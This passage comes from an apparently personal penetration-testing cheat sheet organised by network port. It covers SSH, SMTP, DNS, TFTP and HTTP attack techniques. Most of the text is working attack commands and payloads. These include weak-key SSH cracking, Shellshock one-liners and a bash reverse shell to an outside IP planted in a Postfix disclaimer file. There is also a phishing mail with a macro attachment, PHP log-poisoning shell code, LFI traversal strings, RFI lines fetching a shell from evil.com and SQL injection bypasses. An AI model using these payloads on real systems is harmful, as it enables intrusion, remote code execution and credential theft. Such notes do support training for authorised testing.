# On the attacker machine, add the following line in /etc/ssh/ssh_config:&lt;br /&gt;
PubkeyAcceptedKeyTypes +ssh-dss&lt;br /&gt;
# Get the debian SSH repo:&lt;br /&gt;
git clone https://github.com/g0tmi1k/debian-ssh&lt;br /&gt;
tar vjxf debian-ssh/common_keys/debian_ssh_dsa_1024_x86.tar.bz2&lt;br /&gt;
# Copy the first 30 (approx.) characters after ssh-dss in the authorized_keys, then search it in the repo using grep -lr:&lt;br /&gt;
cd debian-ssh/common_keys/dsa/1024/&lt;br /&gt;
grep -lr &#039;AAAAB3NzaC1kc3MAAACBAOgzzMCD3Im5bRnAVdV3yLwTsyNAi3IiFShIfx9&#039;&lt;br /&gt;
&lt;br /&gt;
# Flags for common error&lt;br /&gt;
# flag for algorithm&lt;br /&gt;
-okexAlgorithms=+diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1&lt;br /&gt;
# flag for public key&lt;br /&gt;
-oPubkeyAcceptedKeyTypes=+ssh-dss&lt;br /&gt;
# flag for cipher&lt;br /&gt;
-c aes128-cbc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Decrypt RSA ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh2john [id_rsa private key file] &amp;gt; [output file]&lt;br /&gt;
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Key file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/home/user/.ssh/authorized_keys&lt;br /&gt;
/home/usr/.ssh/id_rsa&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Restriction SSH public key ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
from=&amp;quot;192.168.1.150&amp;quot;,command=&amp;quot;echo &#039;This account can only be used for port forwarding&#039;&amp;quot;,no-agent-forwarding,no-X11-forwarding,no-pty ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxO27JE5uXiHqoUUb4j9o/IPHxsPg+fflPKW4N6pK0ZXSmMfLhjaHyhUr4auF+hSnF2g1hN4N2Z4DjkfZ9f95O7Ox3m0oaUgEwHtZcwTNNLJiHs2fSs7ObLR+gZ23kaJ+TYM8ZIo/ENC68Py+NhtW1c2So95ARwCa/Hkb7kZ1xNo6f6rvCqXAyk/WZcBXxYkGqOLut3c5B+++6h3spOPlDkoPs8T5/wJNcn8i12Lex/d02iOWCLGEav2V1R9xk87xVdI6h5BPySl35+ZXOrHzazbddS7MwGFz16coo+wbHbTR6P5fF9Z1Zm9O/US2LoqHxs7OxNq61BLtr4I/MDnin www-data@user&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH when no interactive shell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh kali@10.11.0.4 -o &amp;quot;UserKnownHostsFile=/dev/null&amp;quot; -o &amp;quot;StrictHostKeyChecking=no&amp;quot; -i id_rsa&lt;br /&gt;
ssh -f -N -R 1080 -o &amp;quot;UserKnownHostsFile=/dev/null&amp;quot; -o &amp;quot;StrictHostKeyChecking=no&amp;quot; -i id_rsa kali@10.11.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SHELLSHOCK exploit ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -i id_rsa user@ &#039;() {:;};/bin/bash&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 25 ,465, 587 - SMTP ==&lt;br /&gt;
&lt;br /&gt;
=== User enumeration ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
smtp-user-enum -M  -u  -t&lt;br /&gt;
# Example&lt;br /&gt;
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t 192.168.196.137&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Se ===&lt;br /&gt;
&lt;br /&gt;
=== Send mail ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# sendmail&lt;br /&gt;
sendemail -t recepiant@test.com -f ghanim@mail.com -s SMTP_server -m &amp;quot;Please open attachment&amp;quot; -u &amp;quot;My job application&amp;quot; -a MyJobApplication.docm&lt;br /&gt;
-t : Recipient&#039;s email address.&lt;br /&gt;
-f : Sender&#039;s email address.&lt;br /&gt;
-s : SMTP server address.&lt;br /&gt;
-m : Message body of the email.&lt;br /&gt;
-u : Subject of the email.&lt;br /&gt;
-a : File to attach to the email.&lt;br /&gt;
# Telnet&lt;br /&gt;
telnet 192.168.196.137 25                                                                                                                                           1 ⨯&lt;br /&gt;
Trying 192.168.196.137...&lt;br /&gt;
Connected to 192.168.196.137.&lt;br /&gt;
Escape character is &#039;^]&#039;.&lt;br /&gt;
220 postfish.off ESMTP Postfix (Ubuntu)&lt;br /&gt;
HELO HELO&lt;br /&gt;
250 postfish.off&lt;br /&gt;
MAIL FROM: it@postfish.off&lt;br /&gt;
250 2.1.0 Ok&lt;br /&gt;
RCPT TO: brian.moore@postfish.off&lt;br /&gt;
250 2.1.5 Ok&lt;br /&gt;
DATA&lt;br /&gt;
354 End data with .&lt;br /&gt;
subject: Test&lt;br /&gt;
Hello,&lt;br /&gt;
This is a test.&lt;br /&gt;
Regards,&lt;br /&gt;
Me&lt;br /&gt;
.&lt;br /&gt;
250 2.0.0 Ok: queued as F2824458F9&lt;br /&gt;
quit&lt;br /&gt;
221 2.0.0 Bye&lt;br /&gt;
Connection closed by foreign host.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SMTP 4.2.x &amp;lt; 4.2.48 - &#039;Shellshock&#039; ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/3mrgnc3/pentest_old/blob/master/postfix-shellshock-nc.py https://github.com/3mrgnc3/pentest_old/blob/master/postfix-shellshock-nc.py]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python2 shellshock.py 10.11.1.231 useradm@mail.local 192.168.119.173 443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Disclaimer exploit ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://www.howtoforge.com/how-to-automatically-add-a-disclaimer-to-outgoing-emails-with-altermime-postfix-on-debian-squeeze&lt;br /&gt;
# If user is member of the group filter and the file /etc/postfix/disclaimer is present, we can probably escalate our privileges. We need to be able to write to disclaimer. By adding a reverse shell in the disclaimer file, and sending a mail using SMTP we can get a reverse shell. The disclaimer will be sent with the mail and our code will be executed.&lt;br /&gt;
# 1. Add BASH TCP to disclaimer&lt;br /&gt;
/etc/postfix$ cat disclaimer&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.49.196/4444 0&amp;gt;&amp;amp;1&lt;br /&gt;
# 2. Send mail to any user&lt;br /&gt;
# 3. Receive a connection to our netcat listener.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 53 - DNS ==&lt;br /&gt;
&lt;br /&gt;
=== Banner grabbing ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig version.bind CHAOS TXT @DNS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Enumerate DNS info ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnsenum&lt;br /&gt;
dnsrecon -d&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Subdomains bruteforce ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnsrecon -D subdomains-1000.txt -d  -n&lt;br /&gt;
dnscan -d  -r -w subdomains-1000.txt #Bruteforce subdomains in recursive way, https://github.com/rbsec/dnscan&lt;br /&gt;
aiodnsbrute -w wordlist.txt -vv -t 1024 domain.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Zone transfer ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig axfr @ #Try zone transfer without domain&lt;br /&gt;
dig axfr @  #Try zone transfer guessing the domain&lt;br /&gt;
dnsrecon -d  -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 69 (UDP) - TFPT ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Filename containing spaces fix:&lt;br /&gt;
# kali-tftp fails when filename contains spaces.&lt;br /&gt;
# Install&lt;br /&gt;
sudo apt install -y tftp-hpa&lt;br /&gt;
# Commands&lt;br /&gt;
tftp [-v] -m binary IP -c get &#039;\Windows\system.ini&#039; system.ini&lt;br /&gt;
# \Windows\System32\Drivers\etc\hosts&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 79 - FINGER ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 80, 443 - HTTP/HTTPS ==&lt;br /&gt;
&lt;br /&gt;
=== Apache HTTP basic auth - Change password using htpasswd ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
htpasswd  username&lt;br /&gt;
# Can also change passwd for webda users with same command&lt;br /&gt;
# Example&lt;br /&gt;
htpasswd /var/www/web1/passwd.dav test&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Burp Suite ===&lt;br /&gt;
&lt;br /&gt;
When adding custom header, always remember to have two or three new-lines after the header, otherwise the site wont respond.&lt;br /&gt;
&lt;br /&gt;
==== Add custom header permanent (Request and Response) ====&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Client Fingerprinting ===&lt;br /&gt;
&lt;br /&gt;
From PWK 13.1.4&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/fingerprintjs/fingerprintjs&lt;br /&gt;
cd /var/www/html/ &amp;amp;&amp;amp; sudo wget https://github.com/fingerprintjs/fingerprintjs/archive/2.1.4.zip &amp;amp;&amp;amp; sudo unzip 2.1.4.zip &amp;amp;&amp;amp; sudo mv fingerprintjs-2.1.4/ fp/ &amp;amp;&amp;amp; cd fp&lt;br /&gt;
# Then use whatever text editor you want to create an fingerprint2.html (sudo nano fingerprint2.html) file add the following code to it. This is the same code as in the example but it&#039;s &amp;quot;prettified&amp;quot; from within VS Code.&lt;br /&gt;
## YOU MIGHT GET ERROR THAT fingerprint2.js IS NOT DEFINED. Move fingerprint2.js from fp folder to /var/www/html.&lt;br /&gt;
&lt;br /&gt;
    Fingerprintjs2 test&lt;br /&gt;
&lt;br /&gt;
    Fingerprintjs2&lt;br /&gt;
    Your browser fingerprint:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      var d1 = new Date();&lt;br /&gt;
      var options = {};&lt;br /&gt;
      Fingerprint2.get(options, function (components) {&lt;br /&gt;
        var values = components.map(function (component) {&lt;br /&gt;
          return component.value;&lt;br /&gt;
        });&lt;br /&gt;
        var murmur = Fingerprint2.x64hash128(values.join(&amp;quot;&amp;quot;), 31);&lt;br /&gt;
        var d2 = new Date();&lt;br /&gt;
        var timeString =&lt;br /&gt;
          &amp;quot;Time to calculate the fingerprint: &amp;quot; + (d2 - d1) + &amp;quot;ms&amp;quot;;&lt;br /&gt;
        var details = &amp;quot;Detailed information: &amp;quot;;&lt;br /&gt;
        if (typeof window.console !== &amp;quot;undefined&amp;quot;) {&lt;br /&gt;
          for (var index in components) {&lt;br /&gt;
            var obj = components[index];&lt;br /&gt;
            var value = obj.value;&lt;br /&gt;
            if (value !== null) {&lt;br /&gt;
              var line = obj.key + &amp;quot; = &amp;quot; + value.toString().substr(0, 150);&lt;br /&gt;
              details += line + &amp;quot;&amp;quot;;&lt;br /&gt;
            }&lt;br /&gt;
          }&lt;br /&gt;
        }&lt;br /&gt;
        document.querySelector(&amp;quot;#details&amp;quot;).innerHTML = details;&lt;br /&gt;
        document.querySelector(&amp;quot;#fp&amp;quot;).textContent = murmur;&lt;br /&gt;
        document.querySelector(&amp;quot;#time&amp;quot;).textContent = timeString;&lt;br /&gt;
      });&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# Then use a web server of your choice. If you use another web server as described elsewhere in this course, just be aware of where you execute it. Apache defaults to /var/www/html/ while others may be dependant on where you start them. I saw some chatter about Apache not working, however it does for me:&lt;br /&gt;
&lt;br /&gt;
sudo systemctl start apache2&lt;br /&gt;
# Now visit localhost or IP of server&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Command injection ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Command%20Injection/README.md#bypass-with-backslash-and-slash&lt;br /&gt;
Filter Bypasses&lt;br /&gt;
Bypass without space&lt;br /&gt;
Bypass with a line return&lt;br /&gt;
Bypass with backslash newline&lt;br /&gt;
Bypass characters filter via hex encoding&lt;br /&gt;
Bypass blacklisted words&lt;br /&gt;
Bypass with single quote&lt;br /&gt;
Bypass with double quote&lt;br /&gt;
Bypass with backslash and slash&lt;br /&gt;
Bypass with $@&lt;br /&gt;
Bypass with $()&lt;br /&gt;
Bypass with variable expansion&lt;br /&gt;
Bypass with wildcards&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Directory brute force ===&lt;br /&gt;
&lt;br /&gt;
Try different tools! Sometimes different tools give different results. See Robust box notes for more info.&lt;br /&gt;
&lt;br /&gt;
==== Feroxbuster ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# --threads 1; max 1 thread; -f appends slash (/); --status-codes; only show 200, -L 3; Limit total number of concurrent scans, --auto-tune;  Automatically lower scan rate when an excessive amount of errors are encountered, --depth 3; Maximum recursion depth, a depth of 0 is infinite recursion&lt;br /&gt;
feroxbuster --url https://URL --threads 1 -f -x php,html,txt,sh --status-codes 200 -o ferox.result3 -L 3 --auto-tune --depth 3 -x txt bak sql sh asp aspx php json conf htaccess config jar db html&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Gobuster ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gobuster dir -u https://URL -w /usr/share/wordlist/dirb/big.txt [-x FILE EXTENSION]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ffuf ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ffuf -w /path/to/wordlist -u https://target/FUZZ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== wfuzz ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/raft-large-files-lowercase.txt -u http://192.168.153.200/FUZZ -H &amp;quot;X-Forwarded-For: 10.10.10.150&amp;quot; --hc 404&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== .htaccess change to allow upload php ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cat .htaccess&lt;br /&gt;
AddType application/x-httpd-php .evil&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== File upload ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/README.md PayloadsAllTheThings/README.md at master · swisskyrepo/PayloadsAllTheThings · GitHub]&lt;br /&gt;
&lt;br /&gt;
==== File upload MindMap ====&lt;br /&gt;
&lt;br /&gt;
[[File:2023-06-file-upload-mindmap-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Extension ====&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting-web/file-upload https://book.hacktricks.xyz/pentesting-web/file-upload]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module&lt;br /&gt;
- Working in PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp&lt;br /&gt;
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml&lt;br /&gt;
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action&lt;br /&gt;
- Coldfusion: .cfm, .cfml, .cfc, .dbm&lt;br /&gt;
- Flash: .swf&lt;br /&gt;
- Perl: .pl, .cgi&lt;br /&gt;
- Erlang Yaws Web Server: .yaws&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== HTTP PUT ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl -X PUT http:/// -d @ -v&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Web.config ====&lt;br /&gt;
&lt;br /&gt;
[https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/ Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
# Web.cofig file with ASP code at the bottom. Modify at will.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Local File Incusion (LFI) / Remote File Inclusion (RFI) ===&lt;br /&gt;
&lt;br /&gt;
==== Log Poising ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# First identify what logs you have access to. Then inject php payload to the access log.&lt;br /&gt;
# For example: Apache2 /var/log/apache2/access.log.&lt;br /&gt;
# Or: vsftpd /var/log/vsftpd.log&lt;br /&gt;
nc -nv 10.11.0.22 80&lt;br /&gt;
(UNKNOWN) [10.11.0.22] 80 (http) open&lt;br /&gt;
&#039; . shell_exec($_GET[&#039;cmd&#039;]) . &#039;&#039;;?&amp;gt;&lt;br /&gt;
# You should now see that request in the access log (Or other logs you, like /var/log/vsftpd.log if its a FTP server.&lt;br /&gt;
curl http://10.10.10.10/site.php?file=/var/log/apache2/access.log&amp;amp;cmd=whoami&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== LFI ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion&lt;br /&gt;
# Basic LFI&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd&lt;br /&gt;
# Null byte&lt;br /&gt;
## In versions of PHP below 5.3.4 we can terminate with null byte.&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd%00&lt;br /&gt;
# Double encoding&lt;br /&gt;
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd&lt;br /&gt;
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00&lt;br /&gt;
# UTF-8 encoding&lt;br /&gt;
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&lt;br /&gt;
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00&lt;br /&gt;
# Path and dot truncation&lt;br /&gt;
## On most PHP installations a filename longer than 4096 bytes will be cut off so any excess chars will be thrown away.&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd............[ADD MORE]&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE]&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE]&lt;br /&gt;
http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd&lt;br /&gt;
# Filter bypass tricks&lt;br /&gt;
http://example.com/index.php?page=....//....//etc/passwd&lt;br /&gt;
http://example.com/index.php?page=..///////..////..//////etc/passwd&lt;br /&gt;
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&lt;br /&gt;
# PHP header file (Windows)&lt;br /&gt;
&lt;br /&gt;
# PHP header file (Linux)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== LFI list ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Linux&lt;br /&gt;
/SecLists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt&lt;br /&gt;
# Windows&lt;br /&gt;
/SecLists/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt&lt;br /&gt;
https://gist.github.com/korrosivesec/a339e376bae22fcfb7f858426094661e&lt;br /&gt;
# Both&lt;br /&gt;
/SecLists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== RFI ====&lt;br /&gt;
&lt;br /&gt;
If webserver dosent execute RFI, see PHP shell_exec further down.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion&lt;br /&gt;
# Basic RFI&lt;br /&gt;
http://example.com/index.php?page=http://evil.com/shell.txt&lt;br /&gt;
# Null byte&lt;br /&gt;
http://example.com/index.php?page=http://evil.com/shell.txt%00&lt;br /&gt;
# Double encoding&lt;br /&gt;
http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt&lt;br /&gt;
# Bypass allow_url_include&lt;br /&gt;
# When allow_url_include and allow_url_fopen are set to Off. It is still possible to include a remote file on Windows box using the smb protocol.&lt;br /&gt;
# 1. Create a share open to everyone&lt;br /&gt;
# 2. Write a PHP code inside a file : shell.php&lt;br /&gt;
# 3. Include it http://example.com/index.php?page=\\10.0.0.1\share\shell.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== PHP Wrappers ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# PHP provides several protocol wrappers that we can use to exploit directory traversal and local file inclusion vulnerabilities.&lt;br /&gt;
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#lfi--rfi-using-wrappers&lt;br /&gt;
# Example&lt;br /&gt;
http://10.10.10.10/test.php?file=data:text/plain,hello world&lt;br /&gt;
# Example 2&lt;br /&gt;
http://10.10.10.10/test.php?file=data:text/plain,&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scanners ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# nikto&lt;br /&gt;
nitko -h  &amp;gt; output.txt&lt;br /&gt;
# crawleet&lt;br /&gt;
python crawleet.py -u  -b -d 3 -e jpg,png,css -f -m -s -x php,txt -y --threads 20&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SQL injection ===&lt;br /&gt;
&lt;br /&gt;
==== Cheatsheet and good articles ====&lt;br /&gt;
&lt;br /&gt;
[https://www.tarlogic.com/en/blog/red-team-tales-0x01/ https://www.tarlogic.com/en/blog/red-team-tales-0x01/]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection] (Click on the SQL server that is used)&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting-web/sql-injection/mssql-injection https://book.hacktricks.xyz/pentesting-web/sql-injection/mssql-injection]&lt;br /&gt;
&lt;br /&gt;
[https://sqlwiki.netspi.com/injectionTypes/errorBased/#sqlserver https://sqlwiki.netspi.com/injectionTypes/errorBased/#sqlserver]&lt;br /&gt;
&lt;br /&gt;
See notes for 10.11.1.229&lt;br /&gt;
&lt;br /&gt;
==== Theory ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Databases --&amp;gt; Tables --&amp;gt; Column_names&lt;br /&gt;
# Queries&lt;br /&gt;
# Show all tables in database information_schema&lt;br /&gt;
table_name FROM information_schema.tables&lt;br /&gt;
# use information_schema, show all column_name from table wp_users&lt;br /&gt;
column_name FROM information_schema.columns WHERE table_name=&#039;wp_users&#039;&lt;br /&gt;
# Show all information in user_login column from table wp_users&lt;br /&gt;
user_login FROM wp_users&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Authentication Bypass ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Show me all columns and rows for users with a name of User1 or where one equals one. Since 1=1 condition is always true, all rows will be returned.&lt;br /&gt;
&#039;user1&#039; or 1=1&lt;br /&gt;
# If error encountered we can instruct the query to return a fixed number of records with the LIMIT statement&lt;br /&gt;
&#039;user1&#039; or 1=1 LIMIT1;#&lt;br /&gt;
&lt;br /&gt;
&#039; or 1=1; -- -&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Basic SQL Injection ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection&lt;br /&gt;
https://blog.aghanim.net/?p=1203&lt;br /&gt;
# ENTRY POINT DETECTION&lt;br /&gt;
## Detection of an SQL injection entry point Simple characters&lt;br /&gt;
&#039;&lt;br /&gt;
%27&lt;br /&gt;
&amp;quot;&lt;br /&gt;
